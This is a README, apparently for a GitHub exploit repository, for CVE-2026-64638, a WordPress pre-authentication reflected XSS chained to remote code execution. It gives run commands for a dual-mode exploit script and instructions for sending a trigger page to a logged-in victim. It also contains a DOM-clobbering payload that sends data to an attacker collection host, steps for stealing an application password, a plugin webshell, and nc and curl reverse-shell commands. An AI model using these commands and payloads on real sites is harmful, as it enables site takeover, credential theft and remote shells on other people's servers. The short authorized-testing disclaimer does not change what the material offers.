
CVE-2026-64638 — ثغرة XSS معكوسة قبل المصادقة في WordPress → RCE عبر DOM Clobbering + سرقة كلمات مرور التطبيقات + تفعيل الإضافات عبر REST API. PoC ثنائي الوضع (سلسلة XSS ومباشر).
WordPress Pre-Auth Reflected XSS → Remote Code Execution Chain
DOM Clobbering + سرقة كلمة مرور التطبيق + تفعيل إضافات REST API = RCE كامل
CVE-2026-64638 هي ثغرة Reflected XSS قبل المصادقة في WordPress wp-login.php. توجد الثغرة لأن رسالة خطأ تسجيل الدخول تعكس اسم المستخدم المُرسل بدون ترميز HTML صحيح، مما يسمح بـ DOM Clobbering عبر <area id=ajaxurl> لتجاوز معظم عوامل التصفية.
عند دمجها مع ميزة كلمات مرور التطبيق في WordPress، تتحول هذه الثغرة إلى ناقل تنفيذ كامل للأكواد عن بُعد (RCE) — بدون أي تفاعل من المستخدم سوى زيارة صفحة تشغيل مصمّمة أثناء تسجيل الدخول.
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Reflected) │
│ wp-login.php reflects <area id=ajaxurl> in username error │
│ ↓ │
│ [2] DOM Clobbering │
│ <area id=ajaxurl> hijacks wp-admin JS → auto-submits form │
│ ↓ │
│ [3] Application Password Theft │
│ XSS redirects victim to authorize-application.php │
│ success_url callback captures app password │
│ ↓ │
│ [4] REST API Plugin Activation │
│ App password → Basic Auth → wp-json/wp/v2/plugins → active │
│ ↓ │
│ [5] Webshell RCE │
│ Plugin PHP webshell → uid=33(www-data) │
│ Reverse shell also available │
└─────────────────────────────────────────────────────────────────┘
| Version | Status | Notes |
|---|---|---|
| WordPress ≤ 6.9.5 | ✅ قابل للاستغلال | صور Docker قبل backport لا تزال قابلة للاستغلال |
| WordPress 6.9.6+ | ⚠️ تم إصلاحه (backport بتاريخ 7 أغسطس 2026) | صور Docker المُعاد بناؤها بعد 7 أغسطس تتضمن الإصلاح |
| WordPress 7.0.x | ✅ قابل للاستغلال | تم التأكيد على الإصدار 7.0.2 |
| WordPress 7.1+ | ❓ غير معروف | لم يتم اختباره |
pip3 install requests
هذا كل شيء. مكتبة Python القياسية للإصدار 3.8+ تكفي لكل شيء آخر.
# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Send victim: http://192.168.1.100:8000/trigger_target.com.html
يجب أن يكون الضحية مسجلاً الدخول إلى WordPress كمسؤول. صفحة التشغيل (trigger):
wp-login.php عبر iframe مخفيauthorize-application.php لموافقة الضحيةpython3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
تسجيل دخول مباشر ← رفع إضافة ← ويبشيل فوري. لا يتطلب XSS.
# In one terminal
nc -lvnp 4444
# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
أو يدويًا عبر الويبشيل:
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Main exploit script (dual-mode)
├── poc.py # Original PoC (for reference)
├── trigger_192.168.0.87.html # Example trigger page
└── README.md # This file
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
لماذا يعمل؟
sanitize_user() في WordPress تزيل وسم HTML القياسي لكنها تفوت <area> الذي يبدأ بمسافة<area id=ajaxurl> بعمل DOM Clobbering — فهو يختطف window.ajaxurl المستخدمة في جافاسكربت لوحة wp-adminwp_auth_check وتعيد XSS توجيه الضحية إلى authorize-application.phpsuccess_url كلمة المرور المُولّدة إلى خادم الاستدعاء الخاص بالمهاجمبمجرد التقاط كلمة مرور التطبيق:
/wp-json/wp/v2/POST /wp-json/wp/v2/plugins/{slug} مع {"status":"active"}wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND?rev=IP:PORT يطلق /bin/sh -i عائدًا إلى المهاجم| الهدف | الإصدار | الوضع | النتيجة |
|---|---|---|---|
| Docker (محلي) | WordPress 7.0.2 | سلسلة XSS | ✅ RCE بصلاحيات www-data |
| Docker (محلي) | WordPress 7.0.2 | مباشر | ✅ RCE بصلاحيات www-data |
| Docker (محلي) | WordPress 6.7 | سلسلة XSS | ✅ RCE بصلاحيات www-data |
هذه الأداة مخصصة لاختبار الأمن المصرح به والبحث فقط. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام. احصل دائمًا على إذن كتابي قبل الاختبار.
"لا استغلال، لا تقرير." — منهجية شانون